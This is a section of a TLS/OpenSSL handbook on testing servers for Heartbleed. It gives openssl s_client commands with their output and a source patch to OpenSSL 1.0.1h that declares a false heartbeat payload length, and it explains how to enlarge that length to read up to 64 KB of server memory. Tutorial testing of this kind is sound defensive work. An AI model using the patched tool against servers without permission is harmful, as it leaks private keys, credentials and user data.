2.17 Testing for Heartbleed
You can test for Heartbleed manually with OpenSSL or by using one of the tools designed for this purpose. There are now many utilities available, because Heartbleed is very easy to exploit. But, as usual with such tools, there is a question of their accuracy. There is evidence that some tools fail to detect vulnerable servers.1 Given the seriousness of Heartbleed, it’s best to either test manually or by using a tool that gives you full visibility of the process. I am going to describe an approach you can use with only a modified version of OpenSSL.
Some parts of the test don’t require modifications to OpenSSL, assuming you have a version that supports the Heartbeat protocol (starting with 1.0.1, but before 1.1.0). For example, to determine if the remote server supports the Heartbeat protocol, use the -tlsextdebug
switch to display server extensions when connecting:
$ openssl s_client -connect www.feistyduck.com:443 -tlsextdebug
CONNECTED(00000003)
TLS server extension "renegotiation info" (id=65281), len=1
0001 - <SPACES/NULS>
TLS server extension "EC point formats" (id=11), len=4
0000 - 03 00 01 02 ....
TLS server extension "session ticket" (id=35), len=0
TLS server extension "heartbeat" (id=15), len=1
0000 - 01
[...]
A server that does not return the heartbeat extension is not vulnerable to Heartbleed. To test if a server responds to heartbeat requests, use the -msg
switch to request that protocol messages are shown, connect to the server, wait until the handshake completes, then type B
and press return:
$ openssl s_client -connect www.feistyduck.com:443 -tlsextdebug -msg
[...]
---
B
HEARTBEATING
>>> TLS 1.2 [length 0025], HeartbeatRequest
01 00 12 00 00 3c 83 1a 9f 1a 5c 84 aa 86 9e 20
c7 a2 ac d7 6f f0 c9 63 9b d5 85 bf 9a 47 61 27
d5 22 4c 70 75
<<< TLS 1.2 [length 0025], HeartbeatResponse
02 00 12 00 00 3c 83 1a 9f 1a 5c 84 aa 86 9e 20
c7 a2 ac d7 6f 52 4c ee b3 d8 a1 75 9a 6b bd 74
f8 60 32 99 1c
read R BLOCK
This output shows a complete heartbeat request and response. The second and third bytes in both heartbeat messages specify payload length. We submitted a payload of 18 bytes (12 hexadecimal) and the server responded with a payload of the same size. In both cases there were also additional 16 bytes of padding. The first two bytes in the payload make the sequence number, which OpenSSL uses to match responses to requests. The remaining payload bytes and the padding are just random data.
To detect a vulnerable server, you’ll have to prepare a special version of OpenSSL that sends an incorrect payload length. Vulnerable servers take the declared payload length and respond with that many bytes irrespective of the length of the actual payload provided.
At this point, you have to decide if you want to build an invasive test (which exploits the server by retrieving some data from the process) or a noninvasive test. This will depend on your circumstances. If you have permission for your testing activities, use the invasive test. With it, you’ll be able to see exactly what is returned, and there won’t be room for errors. For example, some versions of GnuTLS support Heartbeat and will respond to requests with incorrect payload length, but they will not actually return server data. A noninvasive test can’t reliably diagnose that situation.
The following patch against OpenSSL 1.0.1h creates a noninvasive version of the test:
--- t1_lib.c.original 2014-07-04 17:29:35.092000000 +0100
+++ t1_lib.c 2014-07-04 17:31:44.528000000 +0100
@@ -2583,6 +2583,7 @@
#endif
#ifndef OPENSSL_NO_HEARTBEATS
+#define PAYLOAD_EXTRA 16
int
tls1_process_heartbeat(SSL *s)
{
@@ -2646,7 +2647,7 @@
* sequence number */
n2s(pl, seq);
- if (payload == 18 && seq == s->tlsext_hb_seq)
+ if ((payload == (18 + PAYLOAD_EXTRA)) && seq == s->tlsext_hb_seq)
{
s->tlsext_hb_seq++;
s->tlsext_hb_pending = 0;
@@ -2705,7 +2706,7 @@
/* Message Type */
*p++ = TLS1_HB_REQUEST;
/* Payload length (18 bytes here) */
- s2n(payload, p);
+ s2n(payload + PAYLOAD_EXTRA, p);
/* Sequence number */
s2n(s->tlsext_hb_seq, p);
/* 16 random bytes */
To build a noninvasive test, increase payload length by up to 16 bytes, or the length of the padding. When a vulnerable server responds to such a request, it will return the padding but nothing else. To build an invasive test, increase the payload length by, say, 32 bytes. A vulnerable server will respond with a payload of 50 bytes (18 bytes sent by OpenSSL by default, plus your 32 bytes) and send 16 bytes of padding. By increasing the declared length of the payload in this way, a vulnerable server will return up to 64 KB of data. A server not vulnerable to Heartbleed will not respond.
To produce your own Heartbleed testing tool, unpack a fresh copy of OpenSSL source code, edit ssl/t1_lib.c
to make the change as in the patch, compile as usual, but don’t install. The resulting openssl
binary will be placed in the apps/
subdirectory. Because it is statically compiled, you can rename it to something like openssl-heartbleed
and move it to its permanent location.
Here’s an example of the output you’d get with a vulnerable server that returns 16 bytes of server data (in bold):
B
HEARTBEATING
>>> TLS 1.2 [length 0025], HeartbeatRequest
01 00 32 00 00 7c e8 f5 62 35 03 bb 00 34 19 4d
57 7e f1 e5 90 6e 71 a9 26 85 96 1c c4 2b eb d5
93 e2 d7 bb 5f
<<< TLS 1.2 [length 0045], HeartbeatResponse
02 00 32 00 00 7c e8 f5 62 35 03 bb 00 34 19 4d
57 7e f1 e5 90 6e 71 a9 26 85 96 1c c4 2b eb d5
93 e2 d7 bb 5f 6f 81 0f aa dc e0 47 62 3f 7e dc 60 95 c6 ba df c9 f6 9d 2b c8 66 f8 a5 45 64 0b
d2 f5 3d a9 ad
read R BLOCK
If you want to see more data retrieved in a single response, increase the payload length, recompile, and test again. Alternatively, to retrieve another batch of the same size, use the B
command again.